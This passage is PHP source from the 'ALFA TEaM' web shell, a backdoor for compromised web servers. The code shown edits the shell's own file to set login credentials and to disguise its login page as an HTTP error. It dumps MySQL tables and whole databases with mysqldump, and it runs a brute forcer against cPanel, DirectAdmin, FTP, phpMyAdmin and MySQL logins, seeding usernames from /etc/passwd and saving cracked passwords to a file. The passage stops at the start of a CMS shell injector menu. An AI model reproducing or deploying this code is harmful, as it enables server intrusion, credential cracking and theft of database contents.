$key=>$val)$cgiapi_html .= '<option value=\"'.$key.'\" '.(!empty($_POST['alfa9'])&&$_POST['alfa9']==$key?\"selected\":($GLOBALS[\"DB_NAME\"][\"cgi_api\"]&&empty($_POST['alfa9'])?'selected':'')).'>'.$val.'<\/option>';\r\nforeach($penc_array as $key=>$val)$postEnc_html .= '<option value=\"'.$key.'\" '.(!empty($_POST['alfa7'])&&$_POST['alfa7']==$key?\"selected\":(__ALFA_POST_ENCRYPTION__&&empty($_POST['alfa7'])?'selected':'')).'>'.$val.'<\/option>';\r\n$lg_array = array(\"gui\"=>\"GUI\",\"500\"=>\"500 Internal Server Error\",\"403\"=>\"403 Forbidden\",\"404\"=>\"404 NotFound\");\r\nforeach($lg_array as $key=>$val)$login_html .= '<option value=\"'.$key.'\" '.($GLOBALS['DB_NAME']['login_page']==$key?'selected':'').'>'.$val.'<\/option>';\r\necho '';\r\necho '<table border=\"1\"><tbody><tr><td><div class=\"tbltxt\" style=\"color:#FFFFFF\">Protect:<\/div><\/td><td><select name=\"protect\" style=\"width:100%;\">'.$protect_html.'<\/select><\/td><\/tr><tr><td><div class=\"tbltxt\" style=\"color:#FFFFFF\">Cgi Api:<\/div><\/td><td><select name=\"cgi_api\" style=\"width:100%;\">'.$cgiapi_html.'<\/select><\/td><\/tr><tr><td><div class=\"tbltxt\" style=\"color:#FFFFFF\">Post Encryption:<\/div><\/td><td><select name=\"post_encrypt\" style=\"width:100%;\">'.$postEnc_html.'<\/select><\/td><\/tr><tr><td><div class=\"tbltxt\" style=\"color:#FFFFFF\">Show Icons:<\/div><\/td><td><select name=\"icon\" style=\"width:100%;\">'.$icon_html.'<\/select><\/td><\/tr><tr><tr><td><div class=\"tbltxt\" style=\"color:#FFFFFF\">login Page:<\/div><\/td><td><select style=\"width:100%;\" name=\"lgpage\">'.$login_html.'<\/select><\/td><\/tr><tr><td><div class=\"tbltxt\" style=\"color:#FFFFFF\">UserName:<\/div><\/td><td><input type=\"text\" style=\"width:95%;\" name=\"username\" value=\"'.(empty($_POST['alfa3'])?$GLOBALS['DB_NAME']['user']:$_POST['alfa3']).'\" placeholder=\"solevisible\"><\/td><\/tr><tr><td><div class=\"tbltxt\" style=\"color:#FFFFFF\">Password:<\/div><\/td><td><input type=\"text\" style=\"width:95%;\" name=\"password\" placeholder=\"*****\"><\/td><\/tr><\/tbody><\/table><input type=\"hidden\" name=\"e\" value=\"'.$GLOBALS['DB_NAME']['safemode'].'\"><input type=\"hidden\" name=\"s\" value=\"'.$GLOBALS['DB_NAME']['show_icons'].'\"><p><input type=\"submit\" name=\"btn\" value=\" \"><\/p><\/form><\/center>';\r\nif($_POST['alfa5']=='>>'){\r\necho __pre();\r\nif(!empty($_POST['alfa3'])){\r\n$protect = $_POST['alfa1'];\r\n$lgpage = $_POST['alfa2'];\r\n$username = $_POST['alfa3'];\r\n$password = md5($_POST['alfa4']);\r\n$icon = $_POST['alfa6'];\r\n$post_encrypt = $_POST['alfa7'];\r\n$cgi_api_val = $_POST['alfa9'];\r\n@chdir($GLOBALS['home_cwd']);\r\n$basename = @basename($_SERVER['PHP_SELF']);\r\n$data = @file_get_contents($basename);\r\n$user_rand = $GLOBALS[\"DB_NAME\"][\"user_rand\"];\r\n$pass_rand = $GLOBALS[\"DB_NAME\"][\"pass_rand\"];\r\n$login_page_rand = $GLOBALS[\"DB_NAME\"][\"login_page_rand\"];\r\n$safemode_rand = $GLOBALS[\"DB_NAME\"][\"safemode_rand\"];\r\n$show_icons_rand = $GLOBALS[\"DB_NAME\"][\"show_icons_rand\"];\r\n$post_encryption_rand = $GLOBALS[\"DB_NAME\"][\"post_encryption_rand\"];\r\n$cgi_api_rand = $GLOBALS[\"DB_NAME\"][\"cgi_api_rand\"];\r\n$find_user = '\/\\''.$user_rand.'\\'(.*?),\/i';\r\n$find_pw = '\/\\''.$pass_rand.'\\'(.*?),\/i';\r\n$find_lg = '\/\\''.$login_page_rand.'\\'(.*?),\/i';\r\n$find_p = '\/\\''.$safemode_rand.'\\'(.*?),\/i';\r\n$icons = '\/\\''.$show_icons_rand.'\\'(.*?),\/i';\r\n$postEnc = '\/\\''.$post_encryption_rand.'\\'(.*?),\/i';\r\n$cgi_api_reg = '\/\\''.$cgi_api_rand.'\\'(.*?),\/i';\r\nif(!empty($username)&&preg_match($find_user,$data,$e)){\r\n$new = '\\''.$user_rand.'\\' => \\''.$username.'\\',';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($_POST['alfa4'])&&preg_match($find_pw,$data,$e)){\r\n$new = '\\''.$pass_rand.'\\' => \\''.$password.'\\',';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($lgpage)&&preg_match($find_lg,$data,$e)){\r\n$new = '\\''.$login_page_rand.'\\' => \\''.$lgpage.'\\',';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($find_p)&&preg_match($find_p,$data,$e)){\r\n$new = '\\''.$safemode_rand.'\\' => \\''.$protect.'\\',';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(preg_match($icons,$data,$e)){\r\n$new = '\\''.$show_icons_rand.'\\' => \\''.$icon.'\\',';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(preg_match($postEnc,$data,$e)){\r\n$new = '\\''.$post_encryption_rand.'\\' => '.$post_encrypt.',';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(preg_match($cgi_api_reg,$data,$e)){\r\n$new = '\\''.$cgi_api_rand.'\\' => '.$cgi_api_val.',';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(@file_put_contents($basename,$data)){\r\necho '<b>UserName: <\/b><font color=\"green\"><b>'.$username.'<\/b><\/font><br \/><b>Password: <\/b><font color=\"green\"><b>'.$_POST['alfa4'].'<\/b><\/font><script>post_encryption_mode = '.$post_encrypt.';<\/script>';\r\n}else{\r\n__alert(\"<span style='color:red;'>File has no edit access...!<\/span>\");\r\n}\r\n}else{\r\n__alert(\"<span style='color:red;'>UserName is Empty !<\/span>\");\r\n}\r\n}\r\n}elseif($_POST[\"alfa8\"] == \"color\"){\r\necho('<center><p><div class=\"txtfont_header\">| Custom Color |<\/div><\/p><form onSubmit=\"reloadColors();return false;\" method=\\'post\\'>');\r\necho '<table border=\"1\"><tbody>';\r\n$template = '<tr><td style=\"text-align:center;\"><a href=\"http:\/\/solevisible.com\/customcolors\/{help}.png\" target=\"_blank\"><font color=\"#00FF00\">Help<\/font><\/a><\/td><td style=\"text-align:center;\"><div class=\"tbltxt\">{index}<\/div><\/td><td><div class=\"tbltxt\" style=\"margin-left:5px;\">{target}:<\/div><\/td><td><input style=\"width:60px;\" multi=\"{multi}\" id=\"gui_{target}\" onChange=\"colorHandler(this);\" target=\".{target}\" type=\"color\" value=\"{color}\"><\/td><td><input type=\"text\" style=\"text-align:center;\" multi=\"{multi}\" onkeyup=\"colorHandlerKey(this);\" target=\".{target}\" id=\"input_{target}\" class=\"colors_input\" placeholder=\"#ffffff\" value=\"{color}\"><\/td><\/tr>';\r\n$x = 1;\r\nforeach($GLOBALS['__ALFA_COLOR__'] as $key => $value){\r\n\t$multi = \"\";\r\n\tif(is_array($value)){\r\n\t\tif(isset($value[\"multi_selector\"])){\r\n\t\t\t$multi = __ZW5jb2Rlcg(json_encode($value));\r\n\t\t}\r\n\t}\r\n\t$value = alfa_getColor($key);\r\n\t$help = strtolower(str_replace(array(\":\", \"+\"), array(\"_\", \"_plus\"), $key));\r\n\techo str_replace(array(\"{index}\", \"{target}\", \"{color}\", \"{multi}\", \"{help}\"), array($x++, $key, $value, $multi, $help), $template);\r\n}\r\necho '<tr><td style=\"text-align:center;\">-<\/td><td style=\"text-align:center;\"><div class=\"tbltxt\">*<\/div><\/td><td><div style=\"margin-left:5px;\" class=\"tbltxt\">Use Default Color:<\/div><\/td><td><\/td><td><center><input type=\"checkbox\" id=\"use_default_color\" value=\"1\"><\/center><\/td><\/tr>';\r\n\r\necho '<\/tbody><\/table><p><input type=\"submit\" name=\"btn\" value=\" \"><\/p><\/form><p><button style=\"padding:4px;;margin-right:20px;\" onclick=\"$(\\'importFileBtn\\').click();\" class=\"button\"> Import <\/button> <button style=\"padding:4px;margin-left:20px;\" onclick=\"g(\\'settings\\',null,null,null,null,null,null,null,\\'export\\',\\'color\\')\" class=\"button\"> Export <\/button><\/center><\/p>';\r\nif($_POST['alfa7']=='export'){\r\n\techo __pre();\r\n\t$colors = is_array($GLOBALS[\"DB_NAME\"][\"color\"])?$GLOBALS[\"DB_NAME\"][\"color\"]:array();\r\n\t$glob_colors = $GLOBALS[\"__ALFA_COLOR__\"];\r\n\t$array = array();\r\n\tforeach($glob_colors as $k => $v){\r\n\t\tif(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){\r\n\t\t\t$v = trim($colors[$k]);\r\n\t\t}else{\r\n\t\t\t$v = trim(is_array($v)?$v[\"key_color\"]:$v);\r\n\t\t}\r\n\t\t$array[$k] = $v;\r\n\t}\r\n\t$file = \"alfa_color_config_\".date('Y-m-d-h_i_s').\".conf\";\r\n\t$config = json_encode($array, JSON_PRETTY_PRINT);\r\n\tif(!@file_put_contents($file, $config)){\r\n\t\techo('<p><center>Color Config:<br><br><textarea rows=\"12\" cols=\"70\" type=\"text\">'.$config.'<\/textarea><\/center><\/p>');\r\n\t}else{\r\n\t\techo('<h3><p><center><a class=\"actions\" href=\"javascript:void(0);\" onclick=\"g(\\'FilesTools\\',null,\\''.$file.'\\', \\'download\\')\"><font color=\"#0F0\">Download Config<\/font><\/a><\/center><\/p><\/h3>');\r\n\t}\r\n}\r\nif($_POST['alfa2']=='>>'){\r\n\techo __pre();\r\n\t$colors = json_decode($_POST[\"alfa1\"],true);\r\n\t$array = \"\";\r\n\t$is_default = isset($_POST[\"alfa3\"])&&$_POST[\"alfa3\"]==\"1\"?true:false;\r\n\t$glob_colors = $GLOBALS[\"__ALFA_COLOR__\"];\r\n\tforeach($glob_colors as $k => $v){\r\n\t\tif(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){\r\n\t\t\t$v = trim($colors[$k]);\r\n\t\t}else{\r\n\t\t\t$v = trim(is_array($v)?$v[\"key_color\"]:$v);\r\n\t\t}\r\n\t\t$array .= '\"'.trim($k).'\" => \"'.$v.'\",';\r\n\t}\r\n\t@chdir($GLOBALS['home_cwd']);\r\n\t$basename = @basename($_SERVER['PHP_SELF']);\r\n\t$data = @file_get_contents($basename);\r\n\t$color = '\/\\'color\\'(.*?)\\),\/s';\r\n\tif(preg_match($color,$data,$e)){\r\n\t\t$new = \"'color' => array(\".$array.\"),\";\r\n\t\t$data = str_replace($e[0],$new,$data);\r\n\t\tif(@file_put_contents($basename, $data)){\r\n\t\t\techo(\"<center><p><h3>[+] Success...<\/h3><\/p><\/center><script>location.reload();<\/script>\");\r\n\t\t}else{\r\n\t\t\techo(\"<center><p><h3>[-] We Not have permission to Edit shell...!<\/h3><\/p><\/center>\");\r\n\t\t}\r\n\t}else{\r\n\t\techo(\"<center><p><h3>[-] Error...!<\/h3><\/p><\/center>\");\r\n\t}\r\n}\r\n}\r\necho('<\/div>');\r\nalfafooter();\r\n}\r\nfunction alfaaboutus(){\r\nalfahead();\r\necho '<div class=\"header\">';\r\n$news = new AlfaCURL();\r\n$about_us = $news->Send(\"http:\/\/solevisible.com\/aboutus.php\");\r\nif(empty($about_us)){\r\n$about_us = \"<pre><center><img src='http:\/\/solevisible.com\/images\/farvahar-iran.png'><br>\r\n<b><font size='+3' color='#00A220'>☮ ~ PEACE ~ ☮<\/font><br><b>\r\n<font color='#00A220'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)<\/font><br>\r\n<font color='#00A220'>Contact : solevisible@gmail.com<\/font><br>\r\n<font color='#00A220'>Telegram Channel: @solevisible<\/font><br>\r\n<font color='#FFFFFF'>Skype : ehsan.invisible<\/font><br>\r\n<font color='#FFFFFF'>Skype : sole.sad<\/font><br>\r\n<font color='#FF0000'>Persian Gulf For Ever<\/font><br>\r\n<font color='#FF0000'>Iranian Programmers<\/font><br>\r\n<font color='#FF0000'>############<\/font><br>\r\n<\/center><\/pre><iframe src='tg:\/\/resolve?domain=solevisible' frameborder='0' width='0' height='0'><\/iframe>\";\r\n}\r\necho __pre().$about_us;\r\necho('<\/div>');\r\nalfafooter();\r\n}\r\nfunction alfacoldumper(){\r\nalfahead();\r\necho('<div class=\"header\">');\r\nAlfaNum(8,9,10);\r\necho \"<center><br><div class='txtfont_header'>| Mysql Column Dumper |<\/div><br><br>\".getConfigHtml('all').\"<form method='post' onsubmit=\\\"var opt_id=this.getAttribute('opt_id');var delimiter='json';try{if($('dumper-delimiter-type').value == 'delimiter')delimiter=$('dumper-delimiter-input').value}catch(e){};g('coldumper',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\\\"><p>\";\r\n$delimiter = (!empty($_POST['alfa1']) ? $_POST['alfa1'] : '::');\r\n$selected_data = json_decode($_POST['alfa2'], true);\r\n$username = ($_POST['alfa3']);\r\n$password = ($_POST['alfa4']);\r\n$dbname = ($_POST['alfa5']);\r\n$dfile = ($_POST['alfa6']);\r\n$host = ($_POST['alfa7']);\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho \"<br><input type='submit' value=' ' name='Submit'><\/p><\/form><\/center>\";\r\n$db = false;\r\nif(!empty($dbname)){\r\n\t$db = @mysqli_connect($host, $username, $password, $dbname);\r\n}\r\nif(count($selected_data) > 0){\r\n\tif($db){\r\n\t\tif(!is_dir($dfile)){\r\n\t\t\t$dfile = $GLOBALS['cwd'];\r\n\t\t}\r\n\t\t$tbls = \"\";\r\n\t\t$ext = '.txt';\r\n\t\tif($delimiter == 'json'){\r\n\t\t\t$ext = '.json';\r\n\t\t}\r\n\t\tforeach ($selected_data as $tbl => $cols) {\r\n\t\t\t$tables_query = mysqli_query($db, \"SELECT \".implode(',', $cols).\" FROM $tbl\");\r\n\t\t\t$file_name = $dfile.'\/'.$dbname.'.'.$tbl.$ext;\r\n\t\t\t$fp = fopen($file_name, \"w\");\r\n\t\t\t$data = array();\r\n\t\t\twhile($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){\r\n\t\t\t\tif($delimiter == \"json\"){\r\n\t\t\t\t\t$col_arr = array();\r\n\t\t\t\t\tforeach ($row as $key => $value) {\r\n\t\t\t\t\t\tif(empty($value)){\r\n\t\t\t\t\t\t\t$value = \"[empty]\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t $col_arr[$key] = $value;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$data[$tbl][] = $col_arr;\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$data = \"\";\r\n\t\t\t\t\tforeach ($row as $key => $value) {\r\n\t\t\t\t\t\tif(empty($value)){\r\n\t\t\t\t\t\t\t$value = \"[empty]\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$data .= $value . $delimiter;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tfwrite($fp, $data .\"\\n\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif($delimiter == \"json\"){\r\n\t\t\t\tfwrite($fp, json_encode($data));\r\n\t\t\t}\r\n\t\t\tfclose($fp);\r\n\t\t\t$tbls .= \"Done ~~~> \".$file_name.\"<br>\";\r\n\t\t}\r\n\t\techo __pre();\r\n\t\techo \"<center><font color='#00FF00'>\".$tbls.\"<\/font><\/center>\";\r\n\t}\r\n}\r\nif(!empty($dbname) && count($selected_data) == 0){\r\n\/\/echo __pre();\r\nif($db){\r\n\techo(\"<hr><div style='text-align:center;margin-bottom:5px;font-weight:bolder;'><span>[ Select your tables and columns for dumping data ]<\/span><\/div>\");\r\n\techo(\"<div style='text-align:center;'><span>Output Type: <\/span><select id='dumper-delimiter-type' onchange='colDumplerSelectType(this);' name='output_type'><option value='delimiter' selected>delimiter<\/option><option value='json'>json<\/option><\/select><div id='coldumper-delimiter-input' style='display:inline;'><span> Delimiter: <\/span><input id='dumper-delimiter-input' style='text-align:center;' type='text' name='delimiter' placeholder='eg: ,'><\/div><\/div>\");\r\n\t$data = array();\r\n\t$tables_query = mysqli_query($db, \"SELECT table_name FROM information_schema.tables WHERE table_schema = database();\");\r\n\twhile($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){\r\n\t\t$data[$row[\"table_name\"]] = array();\r\n\t\t$table_count_q = mysqli_query($db, \"SELECT count(*) FROM `\".$row['table_name'].\"`\");\r\n\t\t$table_count = mysqli_fetch_row($table_count_q);\r\n\t\t$data[$row[\"table_name\"]][\"data_count\"] = $table_count[0];\r\n\t\t$columns_query = mysqli_query($db, \"SELECT column_name FROM information_schema.columns WHERE table_name = '\".$row['table_name'].\"'\");\r\n\t\twhile($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\r\n\t\t\t$data[$row[\"table_name\"]][\"cols\"][] = $row2[\"column_name\"];\r\n\t\t}\r\n\t}\r\n\tmysqli_close($db);\r\n\r\n\techo '<ul id=\"myUL\">';\r\n\tforeach($data as $tbl => $cols){\r\n\t echo '<li><span style=\"color:#00FF00;\" class=\"box\">'.$tbl.' ('.$cols[\"data_count\"].')<\/span><ul class=\"nested\">';\r\n\t foreach($cols[\"cols\"] as $col){\r\n\t echo '<li tbl=\"'.$tbl.'\"><span style=\"color:#00FF00;\" tbl=\"'.$tbl.'\" class=\"box sub-box\">' . $col . '<\/span><\/li>';\r\n\t }\r\n\t echo '<\/ul><\/li>';\r\n\t}\r\n\techo '<\/ul>';\r\n}else{\r\necho('<center>mysqli_connect : Error!<\/center>');\r\n}\r\n}\r\necho('<\/div>');\r\nalfafooter();\r\n}\r\nfunction alfaDumper(){\r\nalfahead();\r\necho('<div class=\"header\">');\r\nAlfaNum(8,9,10);\r\necho \"<center><br><div class='txtfont_header'>| Mysql Database Dumper |<\/div><br><br>\".getConfigHtml('all').\"<form method='post' onsubmit=\\\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\\\"><p>\";\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']).'alfa.sql', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho \"<br><input type='submit' value=' ' name='Submit'><\/p><\/form><\/center>\";\r\n$username = ($_POST['alfa3']);\r\n$password = ($_POST['alfa4']);\r\n$dbname = ($_POST['alfa5']);\r\n$dfile = ($_POST['alfa6']);\r\n$host = ($_POST['alfa7']);\r\nif(!empty($dbname)){\r\necho __pre();\r\n$msg = \"<center>Check this : <font color='red'>\".$dfile.\"<\/font><\/center>\";\r\nif(@mysqli_connect($host,$username,$password,$dbname)){\r\nif(strlen(alfaEx(\"mysqldump\"))>0){\r\nalfaEx(\"mysqldump --single-transaction --host=\\\"$host\\\" --user=\\\"$username\\\" --password=\\\"$password\\\" $dbname > '\".addslashes($dfile).\"'\");\r\necho($msg);\r\n}else{\r\n__alert(\"Error...!\");\r\n}\r\n}else{\r\necho('<center>mysqli_connect : Error!<\/center>');\r\n}\r\n}\r\necho('<\/div>');\r\nalfafooter();\r\n}\r\nfunction Alfa_DirectAdmin_Cracker($info){\r\nif(!$info['mysql'])\r\n$url = $info['protocol'].$info['target'].':'.$info['port'].'\/CMD_LOGIN';\r\nelse $url = $info['protocol'].$info['target'].'\/phpmyadmin';\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,'Mozilla\/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko\/20100101 Firefox\/17.0');\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);\r\ncurl_setopt($curl, CURLOPT_HEADER,0);\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($curl, CURLOPT_URL,$url);\r\ncurl_setopt($curl, CURLOPT_USERPWD, $info['username'].':'.$info['password']);\r\nif($info['mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);\r\n$result = @curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo \"<font color='red'>Error: $curl_error<\/font><br>\";}\r\nelseif(preg_match('\/CMD_FILE_MANAGER|frameset\/i',$result)){\r\necho 'UserName: <font color=\"red\">'.$info['username'].'<\/font> PassWord: <font color=\"red\">'.$info['password'].'<\/font><font color=\"green\"> Login Success....<\/font><br>';\r\n$info['target'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_CP_Cracker($info){\r\n$url = $info['protocol'].$info['target'].':'.$info['port'];\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,'Mozilla\/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko\/20100101 Firefox\/17.0');\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);\r\ncurl_setopt($curl, CURLOPT_HEADER,0);\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER,1);\r\ncurl_setopt($curl, CURLOPT_HTTPHEADER, array(\"Authorization: Basic \" . __ZW5jb2Rlcg($info['username'].\":\".$info['password']) . \"\\n\\r\"));\r\ncurl_setopt($curl, CURLOPT_URL, $url);\r\n$result = @curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo \"<font color='red'>Error: $curl_error<\/font><br>\";}\r\nelseif(preg_match('\/filemanager\/i',$result)){\r\necho 'UserName: <font color=\"red\">'.$info['username'].'<\/font> PassWord: <font color=\"red\">'.$info['password'].'<\/font><font color=\"green\"> Login Success....<\/font><br>';\r\n$info['target'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_FTP_Cracker($info){\r\n$url = $info['protocol'].$info['target'];\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_URL, $url);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,'Mozilla\/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko\/20100101 Firefox\/17.0');\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($curl, CURLOPT_USERPWD, \"\".$info['username'].\":\".$info['password'].\"\");\r\n$result = @curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo \"<font color='red'>Error: $curl_error<\/font><br>\";}\r\nelseif(preg_match('\/(\\d+):(\\d+)\/i',$result)){\r\necho 'UserName: <font color=\"red\">'.$info['username'].'<\/font> PassWord: <font color=\"red\">'.$info['password'].'<\/font><font color=\"green\"> Login Success....<\/font><br>';\r\n$info['target'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_Mysql_Cracker($info){\r\nif(@mysqli_connect($info['target'].':'.$info['port'],$info['username'],$info['password'])){\r\nCrackerResualt($info);\r\necho 'UserName: <font color=\"red\">'.$info['username'].'<\/font> PassWord: <font color=\"red\">'.$info['password'].'<\/font><font color=\"green\"> Login Success....<\/font><br>';\r\n}\r\n}\r\nfunction Alfa_FTPC($info){\r\nif($con=@ftp_connect($info['target'],$info['port'])){\r\nif($con){\r\n$login=@ftp_login($con,$info['username'],$info['password']);\r\nif($login){CrackerResualt($info);}}}\r\n@ftp_close($con);\r\n}\r\nfunction CrackerResualt($info){\r\n$res = $info['target'].' => '.$info['username'].\":\".$info['password'].\"\\n\" ;\r\n$c = @fopen($info['fcrack'],'a+');\r\n@fwrite($c, $res);\r\n@fclose($c);\r\n}\r\nfunction Alfa_Call_Function_Cracker($method,$info){\r\nswitch($method){case 'cp':return Alfa_CP_Cracker($info);break;case 'direct': case 'phpmyadmin':return Alfa_DirectAdmin_Cracker($info);break;case 'ftp':return Alfa_FTP_Cracker($info);break;case 'mysql':return Alfa_Mysql_Cracker($info);break;case 'mysql':return Alfa_FTPC($info);break;}\r\n}\r\nfunction alfaCrackers(){\r\nalfahead();\r\nAlfaNum(9,10);\r\necho '<div class=\"header\"><center><br><div class=\"txtfont_header\">| Brute Forcer |<\/div><br><br><form method=\"post\" onsubmit=\"g(\\'Crackers\\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\\'start\\',this.protocol.value,this.loginpanel.value);return false;\"><div class=\"txtfont\">Login Page: <select onclick=\"dis_input(this.value);\" name=\"loginpanel\">';\r\nforeach(array('cp'=>'Cpanel','direct'=>'DirectAdmin','ftp'=>'FTP','phpmyadmin'=>'PhpMyAdmin[DirectAdmin]','mysql'=>'mysql_connect()','ftpc'=>'ftp_connect()') as $key=>$val)echo('<option value=\"'.$key.'\">'.$val.'<\/option>');\r\necho '<\/select> Protocol: <select id=\"protocol\" name=\"protocol\">';\r\nforeach(array('https:\/\/','http:\/\/','ftp:\/\/') as $val)echo('<option value=\"'.$val.'\">'.$val.'<\/option>');\r\necho '<\/select> Website\/ip Address: <input id=\"target\" type=\"text\" name=\"target\" value=\"localhost\">\r\nPort: <input id=\"port\" type=\"text\" name=\"port\" value=\"2083\">\r\n<table width=\"30%\"><td align=\"center\">Users List<\/td><td align=\"center\">Passwords<\/td><\/table>\r\n<textarea placeholder=\"Users\" rows=\"20\" cols=\"25\" name=\"usernames\">'.($GLOBALS['sys']=='unix'?alfaEx(\"cut -d: -f1 \/etc\/passwd\"):\"\").'<\/textarea>\r\n  <textarea placeholder=\"Passwords\" rows=\"20\" cols=\"25\" name=\"passwords\"><\/textarea><br><br>\r\nSave Result Into File <input type=\"text\" name=\"fcrack\" value=\"cracked.txt\">\r\n<p><input type=\"submit\" name=\"cracking\" value=\" \" \/><\/div><\/form><\/p><center>';\r\n$target = str_replace(array('https:\/\/','http:\/\/','ftp:\/\/'),'',$_POST['alfa1']);\r\n$port = $_POST['alfa2'];\r\n$usernames= $_POST['alfa3'];\r\n$passwords = $_POST['alfa4'];\r\n$fcrack = $_POST['alfa5'];\r\n$cracking = $_POST['alfa6'];\r\n$protocol = $_POST['alfa7'];\r\n$loginpanel = $_POST['alfa8'];\r\n$p = $loginpanel == 'phpmyadmin' ? $p = true : false;\r\nif($cracking=='start'){\r\necho __pre();\r\n$exuser = explode(\"\\n\",$usernames);\r\n$expw = explode(\"\\n\",$passwords);\r\nforeach($exuser as $user){\r\nforeach($expw as $pw){\r\n$array = array('username' => trim($user),'password' => trim($pw),'port' => trim($port),'target' => trim($target),'protocol' => trim($protocol),'fcrack' => trim($fcrack),'mysql' => $p);\r\nAlfa_Call_Function_Cracker($loginpanel,$array);\r\n}\r\n}\r\necho '<br><font color=\"red\">Attack Finished...<\/font>';\r\n}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction output($string){ echo \"<br><pre id=\\\"strOutput\\\" style=\\\"margin-top:5px\\\" class=\\\"ml1\\\"><br><center><font color=red><a target='_blank' href='\".$string.\"'>Click Here !<\/a><\/font><\/b><\/center><br><br>\";}\r\nfunction alfaShellInjectors(){\r\nalfahead();\r\necho '<div class=header>';\r\nAlfaNum(11);\r\necho '<center><p><div class=\"txtfont_header\">| Cms Shell Injector |<\/div><\/p><center><h3><a href=javascript:void(0) onclick=\"g(\\'ShellInjectors\\',null,\\'whmcs\\',null)\">| WHMCS | <\/a><a href=javascript:void(0) onclick=\"g(\\'ShellInjectors\\',null,null,\\'mybb\\')\">| MyBB | <\/a><a href=javascript:void(0) onclick=\"g(\\'ShellInjectors\\',null,null,null,\\'vb\\')\">| vBulletin 